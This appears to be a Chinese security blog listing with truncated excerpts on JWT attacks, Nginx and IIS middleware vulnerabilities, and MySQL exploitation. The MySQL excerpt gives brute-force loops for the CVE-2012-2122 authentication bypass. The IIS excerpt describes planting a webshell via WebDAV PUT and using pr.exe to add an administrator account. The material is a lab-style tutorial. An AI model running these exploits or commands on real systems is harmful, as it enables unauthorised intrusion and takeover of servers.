JWT攻击方式总结
JWT简介JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
JWT组成jwt由三个部分组成:header.payload.signature
header第一部分头部解码后表示一个简单的JSON对象,一般来说这个对象描述了JWT所使用的签名算法和类型,最常用的两个字段是alg和typ,alg指定了token加密使用的算法(最常用的为HMAC和RSA算法),typ声明类型为JWT
header通常会长这个样子:
1234{ "alg" : "HS256", "typ" : "jwt"}
经过Base64URL编码之后就为eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9
【注】: Base64URL是base6 ...
Web中间件漏洞总结之Nginx漏洞
文章首发先知社区:https://xz.aliyun.com/t/6801
解析漏洞漏洞简介:对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的漏洞复现:在网站根目录新建test.jpg,里面写入phpinfo(),打开试一下试一试Nginx的解析漏洞,在后面加上/x.php对于低版本的php能够直接解析成功,高版本php因为引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件,这里来看看两个与Nginx解析漏洞相关的核心配置核心配置:cgi.fix_pathinfo该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时,若/aaa.xxx/bbb.yyy/ccc.zzz不存在,则会去掉最后的/ccc.zzz,然后判断/aaa.xxx/bbb.yyy是否存在,若存在,则把/aaa.xxx/bbb.yyy当做文件/aaa.xxx/bbb.yyy/ccc.zzz解析,若/aaa.xxx/bbb.yyy仍 ...
mysql数据库漏洞利用及提权方式小结
文章首发先知社区:https://xz.aliyun.com/t/7392
CVE-2012-2122 Mysql身份认证漏洞影响版本Mysql在5.5.24之前MariaDB也差不多这个版本之前
漏洞原理只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次
漏洞复现msf利用hash解密得到密码即可登录
python exp12345#!/usr/bin/pythonimport subprocesswhile 1: subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()
shell exp1for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done
Mysql UDF提权如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\pl ...
Web中间件漏洞总结之IIS漏洞
文章首发先知社区:https://xz.aliyun.com/t/6783
PUT漏洞前提条件:IIS 6.0开启了WebDAV并且拥有IIS来宾用户拥有写入权限复现过程:用IIS PUT SCANNER探测一下目标IIS是否拥有写入权限是YES所以可以利用先看原来的服务器上面存在的内容我们利用另一个工具对文件进行写入,我们写入一句话webshell上传test.txt成功上传上去是txt格式,于是我们用MOVE或者COPY选项把它改成asp后缀菜刀连一下,拿到webshell
提权上传cmd.exe和pr.exe上去,这二者的用法是pr提权执行下面这条命令,把当前终端的执行程序设置成我们上传的 cmd.exe
1setp "路径cmd.exe"
然后我们就可以pr提权,查看一下当前是system权限于是我们新建管理员账户
123pr.exe "net user hack1 123 /add" 新建一个hack1用户,密码为123pr.exe "net localgroup administrators hack1 /add" ...